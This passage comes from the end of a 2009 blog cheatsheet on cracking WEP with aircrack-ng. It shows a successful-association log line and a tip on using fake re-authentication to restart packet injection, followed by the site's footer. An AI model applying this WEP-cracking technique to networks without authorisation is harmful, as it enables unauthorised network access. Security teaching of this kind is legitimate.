    20:23:58  Association successful :-) (AID: 1)

    Hooray – from this point forward, you can use the same techniques as explained in the first 2 scenario’s

     

    Note : if the number of Packets stops increasing, just stop sending packets, do a re-associate (fake auth) and start sending packets again. In most cases, this will kick off the data packet increase again.

  • © 2009, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

    5 Responses to Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng

    Corelan Training

    We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

    Check out our schedules page here and sign up for one of our classes now!

    Donate

    Want to support the Corelan Team community ? Click here to go to our donations page.

    Want to donate BTC to Corelan Team?



    Your donation will help funding server hosting.

    Corelan Team Merchandise

    You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

    Protected by Copyscape Web Plagiarism Tool

    Corelan on Slack

    You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories